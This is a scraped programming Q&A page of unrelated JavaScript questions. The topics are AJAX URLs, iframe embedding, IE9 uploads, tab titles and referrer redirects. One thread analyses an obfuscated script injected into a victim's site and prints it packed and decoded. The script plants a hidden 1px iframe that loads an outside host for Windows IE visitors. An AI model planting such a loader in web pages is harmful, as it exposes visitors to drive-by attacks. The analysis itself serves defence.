Url not coming on the address bar - javascript

Im using the below code of ajax
// JavaScript Document
function createTeam() {
var name=document.getElementById("name").value;
if(name==null || name==""){
var div3 = document.getElementById("errorMessage");
var text = "Enter Team";
div3.style.display = "block";
div3.style.color = "red";
div3.style.fontSize = "65%";
div3.innerHTML = text;
}else{
xmlhttp=new XMLHttpRequest();
xmlhttp.open("POST","/TeamServlet?name="+name+"&task=create",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send();
xmlhttp.onreadystatechange= readResponse;
}
function readResponse(){
if (xmlhttp.readyState == 4)
{
response = xmlhttp.responseText;
$('#button').hide("slow");
if(response == "false"){
var div2 = document.getElementById("errorMessage");
var text = "Unable to create team.";
div2.style.display = "block";
div2.style.color = "red";
div2.style.fontSize = "65%";
div2.innerHTML = text;
}
if(response == "true"){
var div = document.getElementById("errorMessage");
var text1 = "Team created.";
div.style.display = "block";
div.style.color = "red";
div.style.fontSize = "65%";
div.innerHTML = text1;
}
}
}
}
But what happens is when I use this ajax the URL doesnt appear on the address bar of the browser.how can I achieve that? The only url that comes is that after I submit my login form, and that is this http://localhost:8080/LoginServlet?task=login
but after this,even if I navigate to other jsps/servlets none of those url come.How can I fix this ajax code?

This is the basic purpose of AJAX: do Asynchronous request, on the "background". All request done with AJAX doesn't trigger the loading icon of the browser nor change the current URL.
If you want to do something like that, you should have a look to the HTML5 History API. Because it's a huge subject, I can't show you "one" answer but I give you some resource to get in:
explanation & demo http://html5doctor.com/history-api/
explanation & demo http://dev.opera.com/articles/view/introducing-the-html5-history-api/
explanation & demo http://diveintohtml5.info/history.html
explanation & demo http://robertnyman.com/2011/08/03/html5-history-api-and-improving-end-user-experience/
demo http://html5demos.com/history
The problem you'll find is that this API is not supported in all browsers, so you'll need to use a polyfill to make your code cross-browser compatible. Here is a list of cross-browser polyfill you can use:
History.js https://github.com/browserstate/history.js
PJAX (pushState + ajax = pjax) http://pjax.heroku.com/
hashchange jQuery event http://benalman.com/projects/jquery-hashchange-plugin/
HistoryManager Mootools Plugin http://mootools.net/forge/p/historymanager/
SWFAddress http://www.asual.com/swfaddress/ & jQuery Address http://www.asual.com/jquery/address/
jQuery History Plugin https://balupton.com/projects/jquery-history
jQuery Ajaxy http://balupton.com/projects/jquery-ajaxy
Hasher https://github.com/millermedeiros/hasher/
sHistory https://github.com/tatsh/sHistory
This list is maintained by the Modernizr team, the lasted version is available at https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills

Why would you want to display url of an ajax request in address bar? Ajax requests are to be performed if you want to make calls to the server without navigating away from current page. If you want to change url in address bar then you will have to redirect the user to the said url, you don't need Ajax for that.

Related

how to edit a url obtained from user input

I have a code that asks a user to input a URL and append it to a div using javascript and it works fine. what I was trying to add was editing the user entered URL, specifically change the width and height of the iframe entered by the user then appending it. My current code is attached below. Any help is appreciated. Thanks in advance.
function input() {
globalThis.urlInput = prompt("Enter embed URL:");
if ( urlInput == "") {
alert("No URL Inputted");
} else {
appendUrl();
}
}
function appendUrl(){
document.getElementById("add_to_me").innerHTML += urlInput;
document.getElementsByTagName('iframe').width= "300px";
document.getElementsByTagName('iframe').height= "300px";
}
<button onclick="input()">Input</button>
<div id="add_to_me"></div>
I think this is what you're trying to do;
function input() {
globalThis.urlInput="";
urlInput = prompt("Enter embed URL:");
if ( urlInput == "") {
alert("No URL Inputted");
} else {
appendUrl();
}
}
function appendUrl(){
var ifrm = document.createElement("iframe");
ifrm.setAttribute("src",urlInput );
ifrm.style.width = "300px";
ifrm.style.height = "300px";
ifrm.style.frameborder = "0";
ifrm.allowFullScreen = true;
document.body.appendChild(ifrm);
}
<button onclick="input()">Input</button>
Basically what I do is I create the iframes dynamically and prompt multiple times for url, width and height which I then set on the newly created iframe DOM-Element.
As far as I know it is generally considered bad practice to use global variables. So I edited your code to inject the user input from user function input() into
appendiFrame(input).
Here's my extended code (consider the comments):
function input() {
// create local variable
var input = { url: '', width: '0', height: '0'} // creates dictionary containing input
input.url = prompt("Enter embed URL:")
if ( input.url == "") { // test if url was given
alert("No URL Inputted")
return // return if empty
}
input.width = prompt("Enter width:")
input.height = prompt("Enter height:")
appendiFrame(input)
}
function appendiFrame(input){
iframe = document.createElement('iframe') // create iframe dynamically
iframe.src = input.url;
iframe.width= input.width
iframe.height= input.height
document.getElementById('add_to_me').appendChild(iframe)
}
<button onclick="input()">Input</button>
<div id="add_to_me"></div>
In order to test it you need to also enter the protocol (https) as part of the url. The site also must not send the X-Frame-Options: sameorigin HTTP-header as e.g. Google does or else your browser won't load the iframe.
You might also perform some checking whether the inputs entered are valid.

Uploading files using AJAX without FormData (IE9)

In IE9, FormData is not supported, which makes uploading files using XMLHttpRequest a lot less trivial.
Can this be done? I've seen iFrames mentioned, and while I'm not opposed to writing some hairy code, I'm at a loss as to how to achieve this (there are many resources talking about uploading to an iFrame but not about how to get the file from the iFrame to the server).
Using vanilla JavaScript (no third party libraries), how would one upload a file asynchronously without the use of FormData?
This code should do the trick. Sorry was a long time ago and I thought that IE9 also could upload using XHR (It should, but this is the Iframe option).
It does the following:
Add a file input to your page (can also be done in HTML)
Put that file selector in a form
add credentials to the form
Submit the form to the iframe and use its page as return value.
fileSelection = document.createElement("div");
//create the file input
fileSelection.browseSelect = document.createElement("input");
fileSelection.browseSelect.type = "file";
fileSelection.browseSelect.name = "file[]";
fileSelection.browseSelect.style.display = "block";
fileSelection.browseSelect.style.position = "absolute";
fileSelection.browseSelect.style.left = "50%";
fileSelection.browseSelect.style.top = "auto";
fileSelection.browseSelect.style.height = "36px";
fileSelection.browseSelect.style.width = "36px";
fileSelection.browseSelect.style.bottom = "0px";
fileSelection.browseSelect.style.margin = "0px 0px -1px 90px";
fileSelection.browseSelect.style.filter = "alpha(opacity=0)";
fileSelection.browseSelect.style.zIndex = 14;
//Put a form in it.
fileSelection.form = document.createElement("form");
fileSelection.form.method = "POST";
fileSelection.form.action = [url to server]; //put your own file upload handler here.
fileSelection.form.enctype = "multipart/form-data";
fileSelection.form.encoding = "multipart/form-data";
fileSelection.appendChild(fileSelection.form);
//Append the file input to the form.
fileSelection.form.appendChild(fileSelection.browseSelect);
document.body.appendChild(fileSelection);
function doUploadObjectUpload()
{
var tempFrame = document.createElement("iframe");
tempFrame.src = "";
tempFrame.allowTransparancy = "true";
tempFrame.style.display = "none";
tempFrame.frameBorder = 0;
tempFrame.style.backgroundColor = "transparent";
tempFrame.onload = followUpOnHTML4Upload.bind(this,tempFrame);
tempFrame.name = "tmpFrameUpload"
this.appendChild(tempFrame);
this.form.target = tempFrame.name;
this.form.name = "uploadForm";
this.form.acceptCharset = "UTF-8"
//This is an example of a hidden input, used to pass extra vars to the server. Add more if you need them.
var tempNodePath = document.createElement("input");
tempNodePath.type = "hidden";
tempNodePath.value = [dir]; //if you want specify a target path.
tempNodePath.name = "filePath";
this.form.insertBefore(tempNodePath, this.form.childNodes[0]);
this.form.submit();
}
function followUpOnHTML4Upload(frameId)
{
//Here you can check the response that came back from the page.
}
PHP for example will store the files in $_FILES

JavaScript code injected into site: Can you help me decrypt it?

Recently I was the victim of a web attack, which seemed to take various PHP server vars, then forward them to an attackers website. (IPs of visitor/website, referrer, useragent etc, etc.) Then it would get the file it sent the URL request to, and echo() it to source.
I know you get MANY of these sort of requests (Mostly as poor man XSS attempts), but I would really appreciate some help here, as I don't have much experience with JS. It took me several hours of PHP unscrambling to figure at what it did, and after passing some dummy info, it returned this (which was being echoed into source)
<script type='text/javascript'>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('i 9(){a=6.h(\'b\');7(!a){5 0=6.j(\'k\');6.g.l(0);0.n=\'b\';0.4.d=\'8\';0.4.c=\'8\';0.4.e=\'f\';0.m=\'w://z.o.B/C.D?t=E\'}}5 2=A.x.q();7(((2.3("p")!=-1&&2.3("r")==-1&&2.3("s")==-1))&&2.3("v")!=-1){5 t=u("9()",y)}',41,41,'el||ua|indexOf|style|var|document|if|1px|MakeFrameEx|element|yahoo_api|height|width|display|none|body|getElementById|function|createElement|iframe|appendChild|src|id|25u|msie|toLowerCase|opera|webtv||setTimeout|windows|http|userAgent|500|asso|navigator|com|showthread|php|72291731'.split('|'),0,{}))
Thank you for your time and patience with this matter.
Simply replace eval with alert.
It yields the following:
function MakeFrameEx(){
element=document.getElementById('yahoo_api');
if(!element){
var el=document.createElement('iframe');
document.body.appendChild(el);
el.id='yahoo_api';
el.style.width='1px';
el.style.height='1px';
el.style.display='none';
el.src='http://asso.25u.com/showthread.php?t=72291731'
}
}
var ua=navigator.userAgent.toLowerCase();
if(((ua.indexOf("msie")!=-1
&&ua.indexOf("opera")==-1
&&ua.indexOf("webtv")==-1))
&&ua.indexOf("windows")!=-1)
{
var t=setTimeout("MakeFrameEx()",500);
}
After doing the alert() CTRL+C the dialog to get the contents, then use a JS Beautifier to get some readable code.
Also note that for some browsers, like Firefox, there are plugins to do this automatically. Some browsers even does this automatically (MSIE).
This was some obfuscated code. I deobfuscated it and this is what it does:
function MakeFrameEx() {
element = document.getElementById('yahoo_api');
if (!element) {
var el = document.createElement('iframe');
document.body.appendChild(el);
el.id = 'yahoo_api';
el.style.width = '1px';
el.style.height = '1px';
el.style.display = 'none';
el.src = 'http://asso.25u.com/showthread.php?t=72291731'
}
}
var ua = navigator.userAgent.toLowerCase();
if (((ua.indexOf("msie") != -1 && ua.indexOf("opera") == -1 && ua
.indexOf("webtv") == -1))
&& ua.indexOf("windows") != -1) {
var t = setTimeout("MakeFrameEx()", 500)
}
Here is the deobfuscated JavaScript code:
function MakeFrameEx()
{
element=document.getElementById('yahoo_api');
if(!element)
{
var el=document.createElement('iframe');
document.body.appendChild(el);
el.id='yahoo_api';
el.style.width='1px';
el.style.height='1px';
el.style.display='none';
el.src='http://asso.25u.com/showthread.php?t=72291731'
}
}
var ua=navigator.userAgent.toLowerCase();
if(((ua.indexOf("msie")!=-1&&ua.indexOf("opera")==-1&&ua.indexOf("webtv")==-1))&&ua.indexOf("windows")!=-1)
{
var t=setTimeout("MakeFrameEx()",500)}

jQuery change page's title when user in a different tab

I have live chat on my page. I want to change the title (with something moving like in omegle.com) when a new message is received and the user is not in the same tab as the live chat. When the user returns to the tab, the title would return to normal.
I guess it should be done by jQuery. Do you know any plugins or how can I do that?
Title can only be edited like so:
document.title = "blah";
So you could do:
var origTitle = document.title;
document.title = "You have ("+x+") new messages - "+origTitle;
To make it flash you would have to do something with setTimeout();
var origTitle = document.title;
var isChatTab = false; // Set to true/false by separate DOM event.
var animStep = true;
var animateTitle = function() {
if (isChatTab) {
if (animStep) {
document.title = "You have ("+x+") new messages - "+origTitle;
} else {
document.title = origTitle;
}
animStep = !animStep;
} else {
document.title = origTitle;
animStep = false;
}
setTimeout(animateTitle, 5000);
};
animateTitle();
try
$('title').text("some text");
Update
Apparantly, in IE, $('title')[0].innerHTML returns the content of the <title> tag, but you can't set it's value, except using document.title. I guess this should be an improvement to the jQuery API, since $('title')[0] does return a DOMElement (nodeType = 1)...
$('title').text('your title') suffices.
To see if you're taking the right path, simply use IE's developer toolbar (F12) and go to console and write $('title'), you should see [...] in console. This means that $('title') is an object and it works up to here. Then write typeof $('title').text, and you should see function as the result. If these tests are OK, then your IE is broken.

JavaScript redirect based on domain name

I am not looking for a simple redirect.
What I am trying to do is this.
Person A loads site BOB.com and clicks a link to page X.
Person B loads site TIM.com and clicks a link to the same page X.
Page X has a javascript command on it that says, If user came from site Bob.com then redirect to Bob.com/hello.
If user came from TIM.com then redirect to Tim.com/hello.
If user didnt come from ether then redirect to Frank.com/opps.
This page X is going to handle 404 errors for multiple domains so it will need to ONLY look at the domain name upto ".com". It should ignore everything past the ".com".
This is the script I started with.
<script type='text/javascript'>
var d = new String(window.location.host);
var p = new String(window.location.pathname);
var u = "http://" + d + p;
if ((u.indexOf("bob.com") == -1) && (u.indexOf("tim.com") == -1))
{
u = u.replace(location.host,"bob.com/hello");
window.location = u;
}
</script>
Use document.referrer
if(/http:\/\/(www\.)?bob\.com/.test(document.referrer)) {
window.location = "http://bob.com/hello";
}
else if(/http:\/\/(www\.)?tim\.com/.test(document.referrer)) {
window.location = "http://tim.com/hello";
}
else {
window.location = "http://frank.com/oops";
}
Instead of the regex, you can use indexOf like you did initially, but that would also match thisisthewrongbob.com and thisisthewrongtim.com; the regex is more robust.
document.referrer is the place to be
Use document.referrer to find where the user came from.
The updated code is
<script type='text/javascript'>
var ref = document.referrer,
host = ref.split('/')[2],
regexp = /(www\.)?(bob|tim).com$/,
match = host.match(regexp);
if(ref && !regexp.test(location.host)) {
/* Redirect only if the user landed on this page clicking on a link and
if the user is not visiting from bob.com/tim.com */
if (match) {
ref = ref.replace("http://" + match.shift() +"/hello");
} else {
ref = 'http://frank.com/oops';
}
window.location = ref;
}
</script>
working example (it displays a message rather than redirecting)

Categories